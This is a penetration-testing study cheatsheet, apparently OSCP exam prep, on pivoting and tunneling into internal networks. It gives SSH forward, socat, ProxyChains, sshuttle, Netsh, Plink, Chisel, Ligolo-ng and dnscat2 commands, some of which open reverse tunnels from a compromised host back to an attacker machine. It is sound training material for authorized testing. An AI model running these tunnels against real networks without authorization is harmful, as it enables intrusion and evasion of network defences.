OSCP Reference

10.13 Pivoting and Tunneling Cheatsheet

Need to reach an internal service?

Draw the connection legs and establish what the pivot can actually reach.

Start the first checks →
Already have a tunnel?

Verify the callback and return route before changing the payload.

Follow the finding →

← Cheatsheet index | Full procedure | Master Notes | Strategy map | Study methods: Reach internal services

10.13.1 Record each connection leg and its return path Route ledger

TOOL -> ENTRY LISTENER/SOCKS/TUN -> TRANSPORT -> PIVOT -> DESTINATION
TCP/UDP | initiator | bind | DNS point | credential/SPN | callback | cleanup

Verify in order: process → listener/session → pivot destination reachability → local route/proxy → simple TCP client → application → separate callback.

10.13.2 Determine what the pivot host can reach Pivot network state

ip -brief address
ip route
ip neigh
ss -lntup
cat /etc/resolv.conf
nc -nvz -w 3 INTERNAL_HOST INTERNAL_PORT
ipconfig /all
route print
arp -a
netstat -ano
Test-NetConnection INTERNAL_HOST -Port INTERNAL_PORT

10.13.3 Choose a method that matches your access and required result Method chooser

NeedChoose
One known TCP socket; inbound SSH to pivot worksSSH -L
Many TCP sockets; inbound SSH to pivot worksSSH -D + SOCKS client
Pivot can only connect outward to KaliSSH -R, remote dynamic -R PORT, Chisel reverse or Ligolo agent
Direct SSH to an internal SSH hostssh -J
One simple Linux relaySocat
Transparent selected subnets over SSHsshuttle
Windows built-in routessh.exe; elevated fixed TCP relay: Netsh
Windows alternate SSH clientPlink
HTTP/WebSocket-shaped egressChisel
Many normal clients without proxy wrappersLigolo-ng
DNS-only egressdnscat2 after proving DNS prerequisites

10.13.4 Relay one TCP service through a fixed forward Socat fixed TCP relay

Fixed TCP relay: select the reachable listener and destination explicitly.
socat -ddd TCP-LISTEN:LOCAL_PORT,bind=PIVOT_REACHABLE_IP,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

No authentication or encryption. Listener success does not prove the destination connection.

10.13.5 Reach a service or network through an SSH forward OpenSSH

Choose local, remote or dynamic forwarding by the SSH endpoint and required listener direction.

Local fixed forward, run on Kali:

ssh -N -L 127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p SSH_PORT USER@PIVOT -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Local SOCKS, run on Kali:

ssh -N -D 127.0.0.1:1080 -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes

Remote fixed forward, run on pivot:

ssh -N -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p KALI_SSH_PORT KALI_USER@LHOST -o ExitOnForwardFailure=yes

Remote dynamic SOCKS, run on pivot; OpenSSH client 7.6+:

ssh -N -R 127.0.0.1:1080 -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes

SSH jump and native SOCKS route:

ssh -J PIVOT_USER@PIVOT TARGET_USER@INTERNAL_HOST
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' \
  TARGET_USER@INTERNAL_HOST

-L/-D listen on the SSH client; -R listens on the SSH server. The destination connection occurs from the opposite end. Non-loopback remote binds depend on GatewayPorts.

10.13.6 Send compatible TCP client connections through a SOCKS proxy ProxyChains

Task-specific proxychains-pivot.conf:

strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 1080
proxychains4 -q -f ./proxychains-pivot.conf curl http://INTERNAL_HOST:PORT/
proxychains4 -q -f ./proxychains-pivot.conf nmap -sT -Pn -n -p PORTS INTERNAL_HOST
proxychains4 -q -f ./proxychains-pivot.conf impacket-smbclient \
  'DOMAIN/USER:PASSWORD@INTERNAL_HOST'

curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_HOST:PORT/
ncat --proxy-type socks5 --proxy 127.0.0.1:1080 INTERNAL_HOST INTERNAL_PORT

ProxyChains is TCP-only and depends on compatible dynamically linked socket calls. No SYN, ICMP, UDP or pcap discovery. Prefer native proxy options; use focused nmap -sT -Pn -n only.

10.13.7 Route a selected subnet through an SSH-accessible pivot sshuttle

Transparent TCP forwarding through an authorized SSH endpoint with its runtime prerequisites.
sudo sshuttle --dns -r SSH_USER@PIVOT:SSH_PORT INTERNAL_SUBNET ANOTHER_SUBNET
sudo sshuttle --dns -r SSH_USER@127.0.0.1:LOCAL_SSH_PORT INTERNAL_SUBNET

Requires client-side privileges/firewall support and a compatible Python path on the SSH server. Avoid route collisions with VPN networks.

10.13.8 Windows

Windows built-in forwarding; check listener, routing and administrative prerequisites.

Built-in OpenSSH remote dynamic:

ssh.exe -N -R 127.0.0.1:1080 KALI_USER@LHOST -p KALI_SSH_PORT -o ExitOnForwardFailure=yes

Plink remote fixed forward:

plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l KALI_USER -pwfile C:\PATH\kali-password.txt ^
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT ^
  -P KALI_SSH_PORT LHOST

Netsh fixed TCP relay and cleanup, elevated:

netsh interface portproxy add v4tov4 listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT connectaddress=INTERNAL_HOST connectport=INTERNAL_PORT
netsh interface portproxy show all
netsh advfirewall firewall add rule name="OSCP Pivot LOCAL_PORT" dir=in action=allow protocol=TCP localport=LOCAL_PORT

netsh interface portproxy delete v4tov4 listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT
netsh advfirewall firewall delete rule name="OSCP Pivot LOCAL_PORT"

Netsh is TCP-only, elevated and persistent. Verify firewall and IP Helper behavior; remove both objects.

10.13.9 Reach internal services through an HTTP-based Chisel tunnel Chisel

Choose the forwarding direction matching the reachable server and desired listener.

Reverse SOCKS:

10.13.9.1 Kali

# Kali
chisel server --reverse --port CHISEL_PORT

10.13.9.2 Pivot

# Pivot
chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:socks

Reverse fixed TCP forward:

chisel client --fingerprint 'SERVER_FINGERPRINT' LHOST:CHISEL_PORT \
  R:127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT

Forward SOCKS:

# Pivot
chisel server --socks5 --port CHISEL_PORT
# Kali
chisel client --fingerprint 'SERVER_FINGERPRINT' PIVOT:CHISEL_PORT \
  127.0.0.1:1080:socks

Current UDP-aware listener:

chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:udpsocks

socks is TCP CONNECT only. udpsocks additionally supports SOCKS5 UDP ASSOCIATE with current peers, but ProxyChains still cannot carry UDP. Check OS/architecture/runtime compatibility and WebSocket upgrade behavior.

10.13.10 Route an internal subnet through a Ligolo-ng agent Ligolo-ng

Use an established agent/proxy route when routed subnet access is needed.

10.13.10.1 Kali

# Kali
./proxy -selfcert -laddr 0.0.0.0:LIGOLO_PORT

10.13.10.2 Pivot, after reading certificate_fingerprint in the console

# Pivot, after reading certificate_fingerprint in the console
./agent -connect LHOST:LIGOLO_PORT -accept-fingerprint CERT_FINGERPRINT

Ligolo console:

interface_create --name ligolo
session
ifconfig
interface_add_route --name ligolo --route INTERNAL_SUBNET
tunnel_start --tun ligolo

Manual route fallback:

sudo ip tuntap add user "$USER" mode tun ligolo
sudo ip link set ligolo up
sudo ip route add INTERNAL_SUBNET dev ligolo

Pivot loopback service:

sudo ip route add 240.0.0.1/32 dev ligolo
nmap -sT -Pn -n -p PORTS 240.0.0.1

Callback listener in selected session:

listener_add --addr 0.0.0.0:PIVOT_PORT --to 127.0.0.1:KALI_PORT --tcp
listener_list
listener_stop LISTENER_ID

10.13.11 Reach a controlled endpoint through a permitted DNS tunnel DNS tunneling, conditional

10.13.11.1 Authoritative domain server

# Authoritative domain server
dnscat2-server --secret=SHARED_SECRET TUNNEL_DOMAIN

10.13.11.2 Client

# Client
./dnscat --secret=SHARED_SECRET TUNNEL_DOMAIN

10.13.11.3 Direct server mode

# Direct server mode
./dnscat --dns server=DNS_SERVER,port=53 --secret=SHARED_SECRET
windows
window -i SESSION_ID
help

Needs client execution plus authoritative NS delegation or direct DNS-server reachability. Slow and conspicuous. A query reaching the server is not yet an authenticated channel. DNS tunneling is distinct from prohibited DNS spoofing.

10.13.12 Verify payload delivery and callback paths separately Callback route

Run/context: distinguish the testing workstation, pivot and internal target for each connection leg. A working tool-to-target tunnel does not establish the target-to-listener return path. Decide: trace the listener address/port and each forwarded leg using the complete callback-routing checks; verify the new session with the session checks.

Kali -> tunnel -> internal service          access path
internal target -> pivot listener -> Kali   callback path

If a callback is required, separately verify the pivot listener, relay, Kali bind address and target-to-pivot reachability. Do not change payloads until this route is proven.

10.13.13 Failure cues

CueCheck next
Pivot cannot reach destinationInternal route/firewall/service
Client cannot reach tunnel serverListener, pivot egress, transport port
Listener not createdBind collision, privilege, server forwarding policy
Listener works; application failsClient proxy support, protocol, DNS/SPN, authentication
ProxyChains does nothingStatic/incompatible process; use native proxy/explicit forward/Ligolo
Nmap empty through SOCKSFocused -sT -Pn -n, latency, simple Ncat/curl proof
Kerberos fails through working IP routeFQDN/SPN, DNS, KDC and time
Chisel server sees no sessionBinary execution, egress, WebSocket path
Ligolo session exists but no trafficSelected session, interface and OS route
Forward works; callback failsReverse route and listener bind
Deep route dies globallyRepair first failed upstream hop

10.13.14 Cleanup and restriction

Remove temporary TUN routes/interfaces, Ligolo listeners, Chisel/Socat/SSH processes, host mappings, Netsh/firewall rules and password files. Record the exact route before cleanup.

The current OSCP+ exam guide explicitly prohibits Metasploit pivoting.

10.13.15 Discover and recognize candidates

Use these discovery checks to find a candidate, then validate the missing conditions. Cues are illustrative; complete synthetic outputs and three-outcome examples are in the linked study entries.

10.13.15.1 Reach internal services

10.13.15.1.1 Find: Discover pivot interfaces, routes and internal service context

On the foothold inspect interfaces/routes and local listeners, then test an explicitly assigned destination from that host.

ip addr
ip route
ss -lntup

Recognize: A second network or loopback listener supplies a new vantage candidate; forwarding is not automatically enabled.

Validate next: Read interfaces/routes/listeners on the pivot and probe the internal destination from that host. Draw both legs and the initiator; only choose SSH/SOCKS/Ligolo after the destination leg works.

Discover pivot interfaces, routes and internal service context.

10.13.15.1.2 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. A usable pivot process/identity and explicit scope; both forward and return directions must be understood

APPLICATION TOOL
  -> local listener / SOCKS endpoint / TUN route
  -> tunnel transport endpoint
  -> pivot exit
  -> internal destination service

CALLBACK TARGET
  -> pivot listener or routable address
  -> relay/tunnel
  -> final listener

Record:

TOOL_HOST -> ENTRY_SOCKET/ROUTE -> TRANSPORT -> PIVOT -> DESTINATION
application protocol | TCP/UDP | initiator | bind address | DNS point
credential/SPN name | callback route | privilege | cleanup objects

Do not use “pivot works” as a single state. Confirm these layers separately:

  1. the tunnel process started;
  2. its listener/transport connection exists;
  3. the pivot can reach the intended destination socket;
  4. the local route, forward or proxy points at the right exit;
  5. the application actually uses that path;
  6. name resolution and authentication match the application;
  7. a callback, if required, has its own return path.

Linux:

id
ip -brief address
ip route
ip neigh
ss -lntup
cat /etc/resolv.conf

Windows:

whoami /all
ipconfig /all
route print
arp -a
netstat -ano

PowerShell selected endpoints:

Get-NetIPConfiguration
Get-NetRoute -AddressFamily IPv4 | Sort-Object DestinationPrefix,RouteMetric
Get-NetTCPConnection -State Listen
Get-DnsClientServerAddress -AddressFamily IPv4

An interface or route proves a possible network position, not destination reachability. Validate one justified socket from the pivot before building a tunnel.

nc -nvz -w 3 INTERNAL_HOST INTERNAL_PORT
curl -v --connect-timeout 5 http://INTERNAL_HOST:INTERNAL_PORT/
Test-NetConnection INTERNAL_HOST -Port INTERNAL_PORT
NeedBaselineChoose whenMain limitation
One TCP service through an SSH pivotSSH local forwardKali can initiate SSH to pivotOne destination socket per forward
Many TCP destinations through SSH pivotSSH dynamic forwardKali can initiate SSH to pivotSOCKS/client compatibility
Pivot can connect outward but inbound access is blockedSSH remote or remote-dynamic forwardPivot has OpenSSH client and can reach Kali SSHKali SSH policy; OpenSSH version for remote dynamic
SSH hop directly to internal SSHProxyJumpBoth pivot and destination provide SSHSSH-only path
Simple Linux TCP relaySocatBinary already exists and listener can be exposedClear TCP relay; no authentication/encryption
Transparent selected subnets through SSHsshuttleSuitable SSH server with Python; local privilegesTCP/DNS-oriented, local firewall changes
Windows SSH-based forwardBuilt-in ssh.exe or PlinkCompatible client exists and outbound SSH worksServer policy and credential/host-key handling
Windows native fixed TCP relaynetsh interface portproxyElevated token; target modification acceptableTCP only; firewall/IP Helper/stateful cleanup
Outbound HTTP/WebSocket-shaped tunnelChiselPivot can run matching binary and reach serverClient/server compatibility and proxy/client transport limits
Routed access for ordinary clientsLigolo-ngAgent can reach proxy and TUN/route setup is possibleUserland stack is not identical to direct raw networking
DNS is the only viable egressdnscat2DNS path plus authoritative/direct server controlSlow/noisy, infrastructure and client required

Prefer one explicit forward for one known service. Use SOCKS when several TCP endpoints must be explored. Use a routed pivot when many ordinary tools must operate without proxy wrappers. Do not add a multi-host route when command execution directly on the pivot is sufficient.

Kali/Linux:

ss -lntup
ip -brief address
ip route
ps -ef | grep -E '[s]sh .*-[LDR]|[c]hisel|[l]igolo|[s]ocat|[s]shuttle'

Windows:

netstat -ano
tasklist
netsh interface portproxy show all
netsh advfirewall firewall show rule name="OSCP Pivot LOCAL_PORT"

Record:

  • exact process/command and version;
  • bind address and port;
  • transport direction and initiator;
  • pivot and destination;
  • routes/name mappings/configuration files added;
  • simple TCP proof and final application proof;
  • callback proof where applicable;
  • cleanup command and result.

Stop tunnel processes and remove TUN routes, Ligolo listeners, temporary mappings, password files, Netsh rules and firewall exceptions after the authorized task.

Verify: Record source, pivot, destination, protocol, listener placement and required return path.

If it fails: Interface presence is not proof of destination reachability. Routing/firewall and application permission are independent.

10.13.15.1.3 Find: Relay a single TCP service through a fixed forward

From pivot-state evidence identify one fixed TCP destination and where the assessment client can reach a pivot listener.

ip route get TARGET
ss -lnt

Recognize: A single TCP service can fit a fixed relay without assuming a full routed network.

Validate next: Confirm both legs, bind address/permission and any additional dynamic ports or return path.

Relay a single TCP service through a fixed forward.

10.13.15.1.4 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity

On a Linux pivot, expose one internal TCP service:

socat -ddd TCP-LISTEN:LOCAL_PORT,bind=PIVOT_REACHABLE_IP,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

Loopback-only relay for another local tunnel stage:

socat -ddd TCP-LISTEN:LOCAL_PORT,bind=127.0.0.1,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

Verify the listener on the pivot with ss -lntp | grep LOCAL_PORT. Run nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT from the intended client to test client-to-pivot reachability. These checks run on different machines:

ss -lntp | grep LOCAL_PORT
nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT

fork handles multiple connections. reuseaddr eases rebinding after restart. Socat does not add authentication or encryption to this relay; bind narrowly and remove the process when finished. A listener can exist even when the pivot-to-destination connection fails.

Verify: Verify application behavior through the listener and keep the transport's destination explicit.

If it fails: A working listener with no application response can be a pivot-to-destination failure. Dynamic RPC may need a different route.

10.13.15.1.5 Find: Forward a selected service through an SSH client-side listener

Use accepted SSH and the SSH server's verified reachability to a selected internal/loopback service; identify where the local client needs its listener.

ssh -v -p SSH_PORT USER@PIVOT
ss -lnt

Recognize: Client-side listener plus server-side destination is the -L direction; destination loopback belongs to the SSH server.

Validate next: Verify forwarding policy, local bind and server-to-destination application access.

Forward a selected service through an SSH client-side listener.

10.13.15.1.6 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route

Run on Kali when Kali can SSH to the pivot:

ssh -N \
  -L 127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Use the listener as though it were the internal service:

nc -nvz 127.0.0.1 LOCAL_PORT
curl -v http://127.0.0.1:LOCAL_PORT/

The SSH server/pivot resolves and connects to INTERNAL_HOST. Bind to 127.0.0.1 unless another authorized local host must use the forward; -g or a non-loopback bind expands exposure.

Add reliability and attributable failure to transport-only sessions:

-N
-o ExitOnForwardFailure=yes
-o ServerAliveInterval=30
-o ServerAliveCountMax=3

ExitOnForwardFailure proves requested listening sockets were established. It does not prove the final destination is reachable through them.

Verify: Verify listening address plus the destination application's handshake and preserve correct hostname/SPN semantics when needed.

If it fails: Administrative-prohibited indicates SSH forwarding policy; address-in-use is a local bind problem; timeout can be the remote leg.

10.13.15.1.7 Find: Provide SOCKS access through SSH dynamic forwarding

From accepted SSH and a mapped internal service set determine whether each required client can use a SOCKS TCP connection.

ssh -v -p SSH_PORT USER@PIVOT

Recognize: Multiple client-selected TCP destinations suggest a dynamic SOCKS listener rather than many fixed forwards.

Validate next: Check SSH forwarding, listener bind, native/intercepted client support and DNS resolution location.

Provide SOCKS access through SSH dynamic forwarding.

10.13.15.1.8 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. SSH forwarding allowed and clients that support SOCKS or compatible interception; DNS behavior must be chosen explicitly

ssh -N -D 127.0.0.1:1080 -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

OpenSSH acts as a SOCKS4/5 server. The pivot makes destination connections selected by each SOCKS request.

Verify: Verify one application through the proxy, then check each client's actual proxy and DNS behavior.

If it fails: A working proxy does not make raw SYN/UDP scans viable. Use connect-based clients or a suitable routed tunnel.

10.13.15.1.9 Find: Expose an SSH-client-side destination through a server-side remote listener

Identify an outbound-only pivot-to-SSH-server path and a service reached from that SSH client/pivot; decide where the remote listener is needed.

ssh -v USER@SSH_SERVER

Recognize: The useful listener is on the SSH server while the destination is reached from the client side: a remote forward candidate.

Validate next: Verify remote-forward permission, server bind/GatewayPorts policy and pivot-side destination reachability.

Expose an SSH-client-side destination through a server-side remote listener.

10.13.15.1.10 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Outbound SSH route, accepted identity, server forwarding/GatewayPorts policy and reachability to the chosen client-side destination

Run on a pivot that can initiate an SSH connection back to Kali:

ssh -N \
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Kali then uses:

nc -nvz 127.0.0.1 KALI_PORT

The SSH client/pivot connects to INTERNAL_HOST. AllowTcpForwarding and server policy must permit the forward. A non-loopback remote bind additionally depends on GatewayPorts; do not assume 0.0.0.0 was honored.

Verify: Verify listener placement/bind and actual destination application response.

If it fails: A loopback-only server listener is not reachable by another host. Check remote-forward permission and binding before changing service credentials.

10.13.15.1.11 Find: Expose a server-side SOCKS proxy through remote dynamic SSH forwarding

For an outbound-only SSH path identify the need for several client-selected destinations and inspect the actual SSH client implementation/version.

ssh -V

Recognize: Remote listener placement plus per-connection SOCKS destination selection suggests remote dynamic forwarding.

Validate next: Check implementation support, remote-forward policy, listener binding and proxy-client/DNS compatibility.

Expose a server-side SOCKS proxy through remote dynamic SSH forwarding.

10.13.15.1.12 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. A supporting OpenSSH client, allowed remote forwarding, listener binding and SOCKS-compatible tool clients

Run on the pivot:

ssh -N -R 127.0.0.1:1080 -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

The SOCKS listener appears on Kali and destination connections exit through the pivot. Remote dynamic forwarding requires OpenSSH 7.6 or later on the client that issues -R. Run ssh -V on the pivot (the SSH client). Run ss -lntp | grep 1080 on Kali (the SSH server hosting the SOCKS listener). These checks run on different machines; do not paste both into one terminal:

ssh -V
ss -lntp | grep 1080

Verify: Verify the listener's actual location and source-side exit by application evidence.

If it fails: Unsupported client syntax or forwarding policy is different from destination filtering. Use a fixed remote forward if it satisfies the task.

10.13.15.1.13 Find: Use ProxyChains, native SOCKS clients and SSH jump paths appropriately

Inspect the established proxy/jump topology and each intended client's actual SOCKS or SSH-jump support before a protocol test.

curl --socks5-hostname 127.0.0.1:SOCKS_PORT http://TARGET:PORT/

Recognize: One supported TCP application works; the proxy does not automatically carry raw packets or arbitrary DNS/UDP.

Validate next: Check native versus intercepted support, connect-only scanner modes, name resolution and every required protocol leg.

Use ProxyChains, native SOCKS clients and SSH jump paths appropriately.

10.13.15.1.14 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Client/proxy transport compatibility, correct proxy configuration and controlled name resolution

Direct SSH through an SSH pivot:

ssh -J PIVOT_USER@PIVOT TARGET_USER@INTERNAL_HOST

SSH through an existing SOCKS5 endpoint with Ncat:

ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' \
  TARGET_USER@INTERNAL_HOST

%h and %p are replaced with the destination host and port. Prefer this native proxy route when ProxyChains interposition is unreliable.

10.13.15.1.15 Use an SSH configuration for repeated access
Host pivot
  HostName PIVOT
  User PIVOT_USER

Host internal
  HostName INTERNAL_HOST
  User TARGET_USER
  ProxyJump pivot
ssh internal
scp FILE internal:DESTINATION_PATH

Use a task-specific configuration rather than repeatedly editing a shared global file:

strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
socks5 127.0.0.1 1080
proxychains4 -q -f ./proxychains-pivot.conf curl http://INTERNAL_HOST:PORT/
proxychains4 -q -f ./proxychains-pivot.conf nmap -sT -Pn -n -p PORTS INTERNAL_HOST
proxychains4 -q -f ./proxychains-pivot.conf impacket-smbclient \
  'DOMAIN/USER:PASSWORD@INTERNAL_HOST'

Constraints:

  • ProxyChains hooks socket calls in dynamically linked programs; some static binaries, scripts, child processes or dynamically loaded modules bypass or break the hook.
  • ProxyChains supports TCP only. It does not proxy UDP, ICMP, SYN scans or pcap-based discovery.
  • For Nmap use -sT -Pn -n with a focused port list. Proxy scanning is slow and is not a replacement for discovery from the pivot.
  • proxy_dns moves supported hostname resolution through the proxy, but application behavior varies. -n prevents Nmap's local reverse lookups.
  • Prefer an application's native proxy option when available.

Native examples:

curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_HOST:PORT/
ncat --proxy-type socks5 --proxy 127.0.0.1:1080 INTERNAL_HOST INTERNAL_PORT

Verify: Verify destination application and resolver behavior through the intended path.

If it fails: Proxy interception is not universal. Use native proxy support, an SSH jump for SSH, or routed tunneling when the protocol requires it.

10.13.15.1.16 Find: Route a selected subnet through sshuttle

Identify several internal TCP destinations, existing SSH access and whether the local/remote privilege/runtime requirements can be met.

ssh -v USER@PIVOT
python3 --version
ip route

Recognize: An SSH carrier and compatible endpoints make a transparent selected-subnet route a candidate; local Python output alone does not prove the remote runtime.

Validate next: Verify local route/firewall permissions, remote runtime, supported transport/mode and explicitly selected subnet/DNS behavior.

Route a selected subnet through sshuttle.

10.13.15.1.17 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Working SSH/Python environment, local routing/firewall privileges and explicitly selected supported traffic/subnets

sudo sshuttle --dns \
  -r SSH_USER@PIVOT:SSH_PORT \
  INTERNAL_SUBNET ANOTHER_SUBNET

Through a previously established local forward to the SSH pivot:

sudo sshuttle --dns \
  -r SSH_USER@127.0.0.1:LOCAL_SSH_PORT \
  INTERNAL_SUBNET

sshuttle is useful when many TCP clients need transparent access. It requires privileges and firewall/redirection support on the client; the remote side needs a compatible Python execution path. It is not a general layer-2 VPN and does not make arbitrary raw-packet or UDP behavior equivalent to direct routing. Record the selected subnets so existing VPN routes are not accidentally captured.

Verify: Verify the actual application path and ensure only assigned subnets are selected.

If it fails: Missing local privilege, remote runtime or unsupported traffic can break this option. Use fixed forwards/SOCKS or a compatible routed tunnel.

10.13.15.1.18 Find: Forward from Windows with OpenSSH, Plink or Netsh

From a Windows pivot inspect native/available tunnel utilities, its route to the destination and the rights needed by the selected implementation.

Get-Command ssh,plink,netsh -ErrorAction SilentlyContinue
Get-Service iphlpsvc
Test-NetConnection TARGET -Port PORT

Recognize: Windows has a carrier/destination candidate; Netsh administrative state and user-space SSH requirements differ.

Validate next: Choose the supported tool, verify listener/bind/firewall and correct connection direction; check its exact rights.

Forward from Windows with OpenSSH, Plink or Netsh.

10.13.15.1.19 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Compatible OpenSSH/Plink authentication or administrative Netsh/IP Helper context; correct listener and destination paths

10.13.15.1.19.1 Forward a selected TCP service from Windows Built-in OpenSSH client
where ssh.exe
ssh.exe -V
ssh.exe -N -R 127.0.0.1:1080 KALI_USER@LHOST -p KALI_SSH_PORT -o ExitOnForwardFailure=yes -o ServerAliveInterval=30

The same -L, -D, -R, ProxyJump and ProxyCommand concepts apply to current Windows OpenSSH. Remote dynamic forwarding depends on the client version.

Remote fixed forward from Windows to Kali:

plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l KALI_USER -pwfile C:\PATH\kali-password.txt ^
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT ^
  -P KALI_SSH_PORT LHOST

Local dynamic SOCKS on Windows:

plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l SSH_USER -pwfile C:\PATH\ssh-password.txt ^
  -D 127.0.0.1:1080 -P SSH_PORT PIVOT

Current Plink supports -L, -R and -D, but not OpenSSH's remote-dynamic shorthand. -batch prevents an unseen prompt from hanging; pair it with a verified -hostkey. -pwfile avoids a literal password in the command line but creates a sensitive file that must be protected and removed. Prefer a key or existing authenticated context where feasible.

10.13.15.1.19.3 Forward a selected TCP service from Windows Netsh portproxy

Elevated Windows shell:

netsh interface portproxy add v4tov4 ^
  listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT ^
  connectaddress=INTERNAL_HOST connectport=INTERNAL_PORT

netsh interface portproxy show all
netstat -ano -p tcp | findstr ":LOCAL_PORT"

If the existing firewall policy does not already allow the listener and a change is authorized:

netsh advfirewall firewall add rule name="OSCP Pivot LOCAL_PORT" ^
  dir=in action=allow protocol=TCP localport=LOCAL_PORT

Cleanup:

netsh interface portproxy delete v4tov4 ^
  listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT

netsh advfirewall firewall delete rule name="OSCP Pivot LOCAL_PORT"

portproxy requires an elevated token, forwards TCP rather than UDP, modifies persistent host configuration and may depend on the IP Helper service. A stored rule or listening socket still does not prove the destination is reachable. Record and remove both the proxy and any firewall rule.

Verify: Verify actual listener, route and application, then remove created portproxy/firewall state as appropriate.

If it fails: Missing admin rights blocks Netsh changes without disproving a user-space SSH route; firewall/bind failures are independent.

10.13.15.1.20 Find: Use a reverse Chisel SOCKS or fixed TCP tunnel

Map an outbound pivot-to-server HTTP/WebSocket path and identify whether the assessment side needs a fixed listener or SOCKS access.

chisel --version
chisel server --help
chisel client --help

Recognize: The outbound carrier and server-side listener requirement identify a reverse-tunnel topology.

Validate next: Verify server reverse mode, fingerprint, carrier upgrade, listener bind and pivot-to-destination compatibility.

Use a reverse Chisel SOCKS or fixed TCP tunnel.

10.13.15.1.21 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Compatible reviewed client/server, server reverse mode, reachable server port and pivot-to-destination access

On Kali:

chisel server --reverse --port CHISEL_PORT

Record the server fingerprint. On the pivot:

chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:socks

R:socks is the shorter equivalent using the default server-side 127.0.0.1:1080 listener. Traffic sent to Kali's SOCKS listener exits through the Chisel client/pivot.

10.13.15.1.22 Kali

# Kali
chisel server --reverse --port CHISEL_PORT

10.13.15.1.23 Pivot: expose an internal service on Kali loopback

# Pivot: expose an internal service on Kali loopback
chisel client --fingerprint 'SERVER_FINGERPRINT' LHOST:CHISEL_PORT \
  R:127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT
chisel --version
chisel server --help
chisel client --help
ss -lntp
CueInterpretation
No connection at serverPivot egress, address, listener or WebSocket/proxy path
HTTP reaches server but upgrade failsIntermediary may block WebSocket upgrade
exec format errorWrong OS/architecture
Missing GLIBC/version symbolBuild/runtime incompatibility; choose a compatible official build
Fingerprint mismatchWrong server or changed key; do not bypass verification blindly
SOCKS listener exists but endpoint failsPivot-to-destination or application/proxy compatibility
TCP works but UDP failsOrdinary socks, old peer, UDP bind/firewall or unsupported client

Verify: Verify tunnel establishment and end-to-end application behavior; a connected carrier alone is insufficient.

If it fails: WebSocket/proxy filtering, reverse mode, listener collision and destination denial are different failures.

10.13.15.1.24 Find: Use forward Chisel SOCKS and version-supported UDP routing

Identify which side can reach a tunnel server, then inspect the exact peer version and whether TCP or SOCKS5 UDP ASSOCIATE is required.

chisel --version
chisel client --help

Recognize: Forward placement and actual client transport determine the mode; a UDP-capable tunnel binary does not make every wrapper UDP-capable.

Validate next: Verify compatible peers, server SOCKS setting, listener route and the real application's UDP/TCP support.

Use forward Chisel SOCKS and version-supported UDP routing.

10.13.15.1.25 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Compatible client/server roles, reachable carrier, correctly placed SOCKS listener and explicitly supported UDP-aware mode when required

10.13.15.1.26 Pivot/server side

# Pivot/server side
